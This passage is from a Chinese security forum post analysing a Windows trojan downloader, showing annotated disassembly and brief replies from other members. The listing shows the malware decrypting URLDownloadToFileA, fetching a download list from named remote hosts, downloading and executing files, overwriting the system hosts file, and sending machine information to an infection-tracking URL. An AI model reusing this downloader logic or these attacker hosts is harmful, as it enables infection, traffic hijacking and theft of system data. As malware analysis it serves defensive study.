  12. 00401BEC    A5              movs    dword ptr es:[edi], dword ptr [e>
  13. 00401BED    66:A5           movs    word ptr es:[edi], word ptr [esi>
  14. 00401BEF    A3 9C1D4000     mov     dword ptr [401D9C], eax
  15. 00401BF4    8D45 E0         lea     eax, dword ptr [ebp-20]
  16. 00401BF7    50              push    eax
  17. 00401BF8    A4              movs    byte ptr es:[edi], byte ptr [esi>
  18. 00401BF9    E8 93F7FFFF     call    00401391                         ; 解密字符串"URLDownloadToFileA"
  19. 00401BFE    BE 94124000     mov     esi, 00401294
  20. 00401C03    8D7D F4         lea     edi, dword ptr [ebp-C]
  21. 00401C06    A5              movs    dword ptr es:[edi], dword ptr [e>
  22. 00401C07    A5              movs    dword ptr es:[edi], dword ptr [e>
  23. 00401C08    66:A5           movs    word ptr es:[edi], word ptr [esi>
  24. 00401C0A    8D45 F4         lea     eax, dword ptr [ebp-C]
  25. 00401C0D    50              push    eax
  26. 00401C0E    A4              movs    byte ptr es:[edi], byte ptr [esi>
  27. 00401C0F    E8 7DF7FFFF     call    00401391                         ; 解密字符串"urlmon.dll"
  28. 00401C14    59              pop     ecx
  29. 00401C15    8D45 E0         lea     eax, dword ptr [ebp-20]
  30. 00401C18    59              pop     ecx
  31. 00401C19    50              push    eax
  32. 00401C1A    8D45 F4         lea     eax, dword ptr [ebp-C]
  33. 00401C1D    50              push    eax
  34. 00401C1E    FF15 14104000   call    dword ptr [<&KERNEL32.LoadLibrar>; 加载urlmon.dll
  35. 00401C24    50              push    eax
  36. 00401C25    FF15 10104000   call    dword ptr [<&KERNEL32.GetProcAdd>; 导出函数URLDownloadToFileA
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]2.解密下载列表调用URLDownloadToFileA联网下载到本地并执行

  1. 00401C30    E8 76FEFFFF     call    00401AAB
  3. 进入call代码
  4. 00401AAB  /$  55            push    ebp
  5. 00401AAC  |.  8BEC          mov     ebp, esp
  6. 00401AAE  |.  81EC C8000000 sub     esp, 0C8
  7. 00401AB4  |.  8D85 38FFFFFF lea     eax, dword ptr [ebp-C8]
  8. 00401ABA  |.  56            push    esi
  9. 00401ABB  |.  50            push    eax                              ; /Buffer
  10. 00401ABC  |.  6A 64         push    64                               ; |BufSize = 64 (100.)
  11. 00401ABE  |.  FF15 40104000 call    dword ptr [<&KERNEL32.GetTempPat>; \获取临时文件夹目录
  12. 00401AC4  |.  FF15 44104000 call    dword ptr [<&KERNEL32.GetTickCou>; [GetTickCount
  13. 00401ACA  |.  50            push    eax                              ; /<%x>
  14. 00401ACB  |.  8D85 38FFFFFF lea     eax, dword ptr [ebp-C8]          ; |
  15. 00401AD1  |.  50            push    eax                              ; |<%s>
  16. 00401AD2  |.  8D45 9C       lea     eax, dword ptr [ebp-64]          ; |
  17. 00401AD5  |.  68 88124000   push    00401288                         ; |Format = "%s~%x.tmp"
  18. 00401ADA  |.  50            push    eax                              ; |s
  19. 00401ADB  |.  FF15 78104000 call    dword ptr [<&USER32.wsprintfA>]  ; \得到本地地址%Temp%\~490ee1.tmp
  20. 00401AE1  |.  BE 84104000   mov     esi, 00401084
  21. 00401AE6  |.  56            push    esi
  22. 00401AE7  |.  E8 D8FCFFFF   call    004017C4                         ; 解密得到下载列表"http://txt.cj-vv.cn:889/txt1/ok.txt"保存为%Temp%\~490ee1.tmp
  23. 00401AEC  |.  6A 00         push    0
  24. 00401AEE  |.  8D45 9C       lea     eax, dword ptr [ebp-64]
  25. 00401AF1  |.  6A 64         push    64
  26. 00401AF3  |.  50            push    eax
  27. 00401AF4  |.  56            push    esi
  28. 00401AF5  |.  E8 3BFEFFFF   call    00401935                         ; 调用URLDownloadToFileA联网
  29. 00401AFA  |.  8D45 9C       lea     eax, dword ptr [ebp-64]
  30. 00401AFD  |.  50            push    eax
  31. 00401AFE  |.  E8 C1FEFFFF   call    004019C4                         ; 以mode为r的形式打开只读文件%Temp%\~490ee1.tmp，然后fgets从文件中度取，通过调用URLDownloadToFileA下载保存到本地%Temp%\???????（随机数字），然后执行，两个下载时间之间暂停10秒
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]3.下载文件替换hosts文件

  1. 00401C35    E8 FAFBFFFF     call    00401834
  3. 进入call代码
  4. 0040185E  |.  E8 A8020000   call    00401B0B                         ; 解密字符串"\drivers\etc\hosts"
  5. 00401863  |.  8D45 B8       lea     eax, dword ptr [ebp-48]          ; |
  6. 00401866  |.  C70424 040100>mov     dword ptr [esp], 104             ; |
  7. 0040186D  |.  50            push    eax                              ; |Buffer
  8. 0040186E  |.  FF15 24104000 call    dword ptr [<&KERNEL32.GetSystemD>; \获取系统文件夹目录%system%\
  9. 00401874  |.  8D45 EC       lea     eax, dword ptr [ebp-14]
  10. 00401877  |.  50            push    eax                              ; /StringToAdd
  11. 00401878  |.  8D45 B8       lea     eax, dword ptr [ebp-48]          ; |
  12. 0040187B  |.  50            push    eax                              ; |ConcatString
  13. 0040187C  |.  FF15 20104000 call    dword ptr [<&KERNEL32.lstrcatA>] ; \连接字符串得到路径%system%\drivers\etc\hosts
  14. 00401882  |.  BE F8104000   mov     esi, 004010F8
  15. 00401887  |.  56            push    esi
  16. 00401888  |.  E8 37FFFFFF   call    004017C4                         ; 解密得到下载地址"http://up.cj-vv.cn:889/jpg1/ad.jpg"
  17. 0040188D  |.  6A 00         push    0
  18. 0040188F  |.  8D45 B8       lea     eax, dword ptr [ebp-48]
  19. 00401892  |.  6A 0A         push    0A
  20. 00401894  |.  50            push    eax
  21. 00401895  |.  56            push    esi
  22. 00401896  |.  E8 9A000000   call    00401935                         ; 调用URLDownloadToFileA下载，保存为%system%\drivers\etc\hosts，替换掉系统本身hosts文件
复制代码[font=-apple-system, BlinkMacSystemFont, &quot]4.获取系统信息发送http://tt.cj-tt.cn:889/newmc/getmac.asp[font=-apple-system, BlinkMacSystemFont, &quot]作感染统计

  1. 00401C3A    E8 C6FBFFFF     call    00401805
  3. 进入call代码
  4. 00401805  /$  56            push    esi
  5. 00401806  |.  57            push    edi
  6. 00401807  |.  BF B8104000   mov     edi, 004010B8                    
  7. 0040180C  |.  57            push    edi
  8. 0040180D  |.  E8 B2FFFFFF   call    004017C4                         ; 解密字符串"http://tt.cj-tt.cn:889/newmc/getmac.asp"
  9. 00401812  |.  BE 841D4000   mov     esi, 00401D84
  10. 00401817  |.  56            push    esi
  11. 00401818  |.  E8 C8FBFFFF   call    004013E5                         ; 加载ETAPI32.dll导出函数Netbios
  12. 0040181D  |.  68 58124000   push    00401258
  13. 00401822  |.  56            push    esi
  14. 00401823  |.  68 EC104000   push    004010EC                         ;  ASCII "a1"
  15. 00401828  |.  57            push    edi
  16. 00401829  |.  E8 0CFDFFFF   call    0040153A                         ; 获取系统信息发送"http://tt.cj-tt.cn:889/newmc/getmac.asp"
复制代码
本帖最近评分记录： 共 1 条评分 飞扬币 +50
爱我中华 飞扬币 +50 2023-05-18 社区因为有您的参与更精彩！
隐藏
分享到 淘江湖 新浪 QQ微博 QQ空间 开心 人人 豆瓣 网易微博 百度 鲜果 白社会 飞信
我不喜欢说话却每天说最多的话，我不喜欢笑却总笑个不停，身边的每个人都说我的生活好快乐，于是我也就认为自己真的快乐。可是为什么我会在一大群朋友中突然地就沉默，为什么在人群中看到个相似的背影就难过，看见秋天树木疯狂地掉叶子我就忘记了说话，看见天色渐晚路上暖黄色的灯火就忘记了自己原来的方向。
回复 引用
举报
爱我中华 
级别: 茶馆馆主
发帖
561140
飞翔币
197817
威望
3666
飞扬币
2851289
信誉值
0
只看该作者 1 发表于: 2023-05-18
长知识了
回复 引用
举报
任逍遥 
级别: 超级版主
发帖
835350
飞翔币
226710
威望
224648
飞扬币
2451251
信誉值
0
只看该作者 2 发表于: 2023-05-19
来看一下
快乐每一天
回复 引用
举报
任逍遥 
级别: 超级版主
发帖
835350
飞翔币
226710
威望
224648
飞扬币
2451251
信誉值
0
只看该作者 3 发表于: 2023-05-19
不错，了解了
快乐每一天
回复 引用
举报
发帖 回复
« 返回列表